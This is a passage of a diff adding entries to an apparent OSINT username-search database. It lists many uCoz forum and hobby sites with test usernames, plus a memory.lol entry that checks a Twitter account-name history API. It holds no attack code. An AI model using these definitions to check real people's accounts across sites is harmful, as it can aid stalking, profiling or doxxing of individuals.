+ "engine": "uCoz", + "urlMain": "http://lakshmi-fm.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "death-note.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://death-note.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "moneysfirst.ru": { + "engine": "uCoz", + "urlMain": "http://moneysfirst.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pirohimic.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pirohimic.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "goroskop.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://goroskop.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "warez-pirati.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://warez-pirati.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "icu.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://icu.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "kinomir.org": { + "engine": "uCoz", + "urlMain": "http://kinomir.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "tmk.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://tmk.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "yerkramas.do.am": { + "engine": "uCoz", + "urlMain": "http://yerkramas.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gt-garazh.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://gt-garazh.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "firasmartincome.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://firasmartincome.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gifts.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gifts.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bashtanka.at.ua": { + "engine": "uCoz", + "urlMain": "http://bashtanka.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spishu.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 737634, + "urlMain": "http://spishu.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "psychotype.info": { + "engine": "uCoz", + "urlMain": "http://psychotype.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "partner.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://partner.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sony127.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://sony127.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sat-electronics.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sat-electronics.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "teplohorosho.ru": { + "engine": "uCoz", + "alexaRank": 5706091, + "urlMain": "http://teplohorosho.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pro-svet.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pro-svet.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "memory57.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3796777, + "urlMain": "http://memory57.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "memory.lol": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "checkType": "message", + "absenceStrs": [ + "{\"accounts\":[]}" + ], + "presenseStrs": [ + "{\"accounts\":[{" + ], + "source": "Twitter", + "urlMain": "https://memory.lol", + "url": "https://api.memory.lol/v1/tw/{username}", + "usernameClaimed": "libsoftiktok", + "usernameUnclaimed": "noonewould123" + }, + "metroman.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://metroman.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tv.ucoz.club": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 84821, + "urlMain": "http://tv.ucoz.club", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "baggi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://baggi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn--90aybfeg.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--90aybfeg.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mediatv.ucoz.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://mediatv.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kazamuza.net": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 453200, + "urlMain": "http://kazamuza.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gorbuha.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://gorbuha.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "komarovo.clan.su": { + "engine": "uCoz", + "urlMain": "http://komarovo.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kino-hit.clan.su": { + "engine": "uCoz", + "urlMain": "http://kino-hit.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "big-game.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://big-game.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rodobozhie.ru": { + "engine": "uCoz", + "alexaRank": 6023633, + "urlMain": "http://rodobozhie.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "mox.vo.uz": { + "engine": "uCoz", + "alexaRank": 2604530, + "urlMain": "http://mox.vo.uz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zareshetkoi.my1.ru": { + "engine": "uCoz", + "urlMain": "http://zareshetkoi.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bot-cs.at.ua": { + "engine": "uCoz", + "urlMain": "http://bot-cs.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gool-live.at.ua": { + "engine": "uCoz", + "urlMain": "http://gool-live.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gsm-standart.clan.su": { + "engine": "uCoz", + "urlMain": "http://gsm-standart.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "soft-deniz.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 4126874, + "urlMain": "http://soft-deniz.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "rasskazovskie.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://rasskazovskie.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "162nord.org": { + "engine": "uCoz", + "urlMain": "http://162nord.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "lifeway.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lifeway.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pochikimyk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pochikimyk.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "counter-art.ru": { + "engine": "uCoz", + "urlMain": "http://counter-art.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 3125198 + }, + "karkulis.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://karkulis.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bce-tyt.ru": { + "engine": "uCoz", + "alexaRank": 5539610, + "urlMain": "http://bce-tyt.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "moments.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://moments.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "ibmt.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://ibmt.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "shipsondesk.info": { + "engine": "uCoz", + "urlMain": "http://shipsondesk.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vrn-sms.ru": { + "engine": "uCoz", + "urlMain": "http://vrn-sms.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "inetjob.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://inetjob.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "russemya.do.am": { + "engine": "uCoz", + "urlMain": "http://russemya.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "metod-psv.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://metod-psv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pogz5615.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pogz5615.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "elektron.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://elektron.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "baltnethub.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://baltnethub.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "topreklama.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://topreklama.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cosmotarolog.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cosmotarolog.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "buyforex.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://buyforex.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "9interi.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://9interi.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sefirut.ru": { + "engine": "uCoz", + "urlMain": "http://sefirut.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vseotkritki.ru": { + "engine": "uCoz", + "urlMain": "http://vseotkritki.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "trainmodels.at.ua": { + "engine": "uCoz", + "urlMain": "http://trainmodels.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "povarenok.nov.ru": { + "engine": "uCoz", + "urlMain": "http://povarenok.nov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "stay.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://stay.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ercevo.ru": { + "engine": "uCoz", + "urlMain": "http://ercevo.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "abho.ru": { + "engine": "uCoz", + "urlMain": "http://abho.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4301122 + }, + "l2bz.ru": { + "engine": "uCoz", + "urlMain": "http://l2bz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 9956854 + }, + "sstalkers.ru": { + "engine": "uCoz", + "urlMain": "http://sstalkers.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dhelp.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://dhelp.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "famouspeople.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://famouspeople.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lavkachudec.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://lavkachudec.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6702666 + }, + "krasnovodsk.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://krasnovodsk.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sbuda.at.ua": { + "engine": "uCoz", + "urlMain": "http://sbuda.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ua" + ] + }, + "vse-o-zaz.at.ua": { + "engine": "uCoz", + "urlMain": "http://vse-o-zaz.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "apelmon.od.ua": { + "engine": "uCoz", + "urlMain": "http://apelmon.od.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vinbazar.at.ua": { + "engine": "uCoz", + "urlMain": "http://vinbazar.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "angell.at.ua": { + "engine": "uCoz", + "urlMain": "http://angell.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fareast.clan.su": { + "engine": "uCoz", + "urlMain": "http://fareast.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "foxrecord.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://foxrecord.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 10968042 + }, + "konibodom.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://konibodom.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kupluradiodetal.at.ua": { + "engine": "uCoz", + "urlMain": "http://kupluradiodetal.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ua" + ] + }, + "lksmu-lg.at.ua": { + "engine": "uCoz", + "urlMain": "http://lksmu-lg.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "provincialynews.ru": { + "engine": "uCoz", + "urlMain": "http://provincialynews.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7556891 + }, + "ural-sloboda.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ural-sloboda.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bbclub.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://bbclub.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tv-android.at.ua": { + "engine": "uCoz", + "urlMain": "http://tv-android.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "webdom.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://webdom.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "smartplay.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://smartplay.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fcbarca.at.ua": { + "engine": "uCoz", + "urlMain": "http://fcbarca.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gym5.net": { + "engine": "uCoz", + "urlMain": "http://gym5.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6607323 + }, + "softgame.3dn.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://softgame.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "piratapes.at.ua": { + "engine": "uCoz", + "urlMain": "http://piratapes.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "azovmore.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://azovmore.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vega.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://vega.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbb0bfjrbhdi.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbb0bfjrbhdi.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "str-upravlenie.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://str-upravlenie.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "magia.at.ua": { + "engine": "uCoz", + "urlMain": "http://magia.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mcfc-fan.ru": { + "engine": "uCoz", + "urlMain": "http://mcfc-fan.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5904389 + }, + "jek-auto.ru": { + "engine": "uCoz", + "urlMain": "http://jek-auto.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "1001facts.ru": { + "engine": "uCoz", + "urlMain": "http://1001facts.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sayty.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://sayty.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nk-cs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nk-cs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbfejdvocrv7adem.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbfejdvocrv7adem.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "religionlaw.ru": { + "engine": "uCoz", + "urlMain": "http://religionlaw.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "chelny-diplom.ru": { + "engine": "uCoz", + "urlMain": "http://chelny-diplom.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "binhot.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://binhot.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cybers.clan.su": { + "engine": "uCoz", + "urlMain": "http://cybers.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "likerr.ru": { + "engine": "uCoz", + "urlMain": "http://likerr.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 6972018, + "disabled": true + }, + "iptv-free.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://iptv-free.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pozdrawlandiya.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://pozdrawlandiya.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 468606 + }, + "aktualno.lv": { + "engine": "uCoz", + "urlMain": "http://aktualno.lv", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 6387028 + }, + "nicemusic.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://nicemusic.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "liderdzr.my1.ru": { + "engine": "uCoz", + "urlMain": "http://liderdzr.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "megabravo.tk": { + "engine": "uCoz", + "urlMain": "http://megabravo.tk", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "vip-icq.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://vip-icq.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "nod32-forever.clan.su": { + "engine": "uCoz", + "urlMain": "http://nod32-forever.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dvk-style.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://dvk-style.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kotik.my1.ru": { + "engine": "uCoz", + "urlMain": "http://kotik.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kuzini.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kuzini.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "razborka-japan.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://razborka-japan.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "jump.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://jump.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "once-upon-a-time-tv.ru": { + "engine": "uCoz", + "urlMain": "http://once-upon-a-time-tv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "5i8.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://5i8.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gdz.at.ua": { + "engine": "uCoz", + "urlMain": "http://gdz.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "wakeup.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://wakeup.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "obmanunet.clan.su": { + "engine": "uCoz", + "urlMain": "http://obmanunet.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "dreddmc.ru": { + "engine": "uCoz", + "urlMain": "http://dreddmc.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spygaming.clan.su": { + "engine": "uCoz", + "urlMain": "http://spygaming.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bashteplovent.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://bashteplovent.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "okm.org.ru": { + "engine": "uCoz", + "urlMain": "http://okm.org.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kapusta.do.am": { + "engine": "uCoz", + "urlMain": "http://kapusta.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sharing-sat.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://sharing-sat.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "svoimirykami.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://svoimirykami.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "demon-art.ru": { + "engine": "uCoz", + "urlMain": "http://demon-art.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "hackapp.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://hackapp.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 10176942 + }, + "prosmart.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://prosmart.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "collegy.ucoz.ru": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "urlMain": "http://collegy.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 116587 + }, + "greenvisa.at.ua": { + "engine": "uCoz", + "urlMain": "http://greenvisa.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "all-gta.info": { + "engine": "uCoz", + "urlMain": "http://all-gta.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 12202015 + }, + "generalu.at.ua": { + "engine": "uCoz", + "urlMain": "http://generalu.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2233303 + }, + "anschula.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://anschula.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "garmin.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://garmin.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4729385 + }, + "655iap.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://655iap.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bestclips.ws": { + "engine": "uCoz", + "urlMain": "http://bestclips.ws", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "crossfaernet.my1.ru": { + "engine": "uCoz", + "urlMain": "http://crossfaernet.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lemfo-russia.ru": { + "engine": "uCoz", + "urlMain": "http://lemfo-russia.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "laserwar48.ru": { + "engine": "uCoz", + "urlMain": "http://laserwar48.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "duz.ucoz.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://duz.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "freedom.kiev.ua": { + "engine": "uCoz", + "urlMain": "http://freedom.kiev.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "japanesedolls.ru": { + "engine": "uCoz", + "urlMain": "http://japanesedolls.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 4307732 + }, + "el-pizza.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://el-pizza.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "patent.3dn.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://patent.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lesbeyanka.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://lesbeyanka.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ru" + ] + }, + "israelrent.info": { + "engine": "uCoz", + "urlMain": "http://israelrent.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tgi.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://tgi.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "grand-magic.ru": { + "engine": "uCoz", + "urlMain": "http://grand-magic.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "darkart3d.ru": { + "engine": "uCoz", + "urlMain": "http://darkart3d.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "wm-maximum.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://wm-maximum.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6589085 + }, + "ukrelektrik.com": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": 